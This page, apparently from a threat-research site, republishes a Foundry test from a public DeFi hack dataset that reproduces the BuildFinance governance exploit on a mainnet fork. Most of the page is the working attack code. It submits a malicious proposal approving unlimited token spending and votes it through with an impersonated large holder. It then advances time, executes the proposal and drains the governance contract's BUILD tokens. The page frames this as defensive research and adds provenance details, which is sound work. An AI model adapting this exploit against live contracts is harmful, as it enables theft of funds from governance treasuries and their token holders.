Public reproduction file
src/test/2022-02/BuildF_exp.sol
Public reproduction file for dataset entry BuildFinance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!3pragma solidity >=0.7.0 <0.9.0;5import "forge-std/Test.sol";6import "./../interface.sol";8contract ContractTest is Test {9 CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);10 IBuildFinance BuildGovernance = IBuildFinance(0x5A6eBeB61A80B2a2a5e0B4D893D731358d888583);11 IERC20 build = IERC20(0x6e36556B3ee5Aa28Def2a8EC3DAe30eC2B208739);13 function setUp() public {14 cheat.createSelectFork("mainnet", 14_235_712); // fork mainnet at block 1423571215 }17 function test() public {18 cheat.prank(0x562680a4dC50ed2f14d75BF31f494cfE0b8D10a1);19 build.transfer(address(this), 101_529_401_443_281_484_977);20 emit log_named_uint("Befre proposing, BUILD balance of attacker:", build.balanceOf(address(this)));21 build.approve(address(BuildGovernance), type(uint256).max);23 BuildGovernance.propose(24 0x6e36556B3ee5Aa28Def2a8EC3DAe30eC2B208739,25 0,26 hex"095ea7b3000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"27 );28 emit log_named_uint("After proposing, BUILD balance of attacker:", build.balanceOf(address(this)));29 emit log_named_uint("BUILD balance of BuildGovernance contract:", build.balanceOf(address(BuildGovernance)));30 cheat.prank(0xf41c13f4E2f750408fC6eb5cF0E34225D52E7002);31 build.approve(address(BuildGovernance), type(uint256).max);32 cheat.prank(0xf41c13f4E2f750408fC6eb5cF0E34225D52E7002);33 BuildGovernance.vote(8, true);34 emit log_named_int("Proposal count:", BuildGovernance.proposalCount());35 emit log_named_uint("Proposal state:", BuildGovernance.state(8));37 cheat.warp(1_655_436_437);38 emit log_named_uint("After 2 days, Proposal state:", BuildGovernance.state(8));39 BuildGovernance.execute(40 8,41 0x6e36556B3ee5Aa28Def2a8EC3DAe30eC2B208739,42 0,43 hex"095ea7b3000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"44 );45 build.transferFrom(address(BuildGovernance), address(this), build.balanceOf(address(BuildGovernance)));46 emit log_named_uint("After exploiting, BUILD balance of attacker:", build.balanceOf(address(this)));47 }48}Analysis
Dataset entry
Public Foundry test for “BuildFinance” (2022-02-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
3 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-02/Meter_exp.solSame month in the dataset · 49 lines
- src/test/2022-02/Sandbox_exp.solSame month in the dataset · 27 lines
- src/test/2022-02/TecraSpace_exp.solSame month in the dataset · 94 lines
File record
- Name
- BuildFinance
- Path
- src/test/2022-02/BuildF_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 1a187cee157005b1df92bbdcdbb30878854d06d9
- Language
- Solidity
- Size
- 49 lines
- Date
- 2022-02-14
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-02/BuildF_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1a187cee157005b1df92bbdcdbb30878854d06d9, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.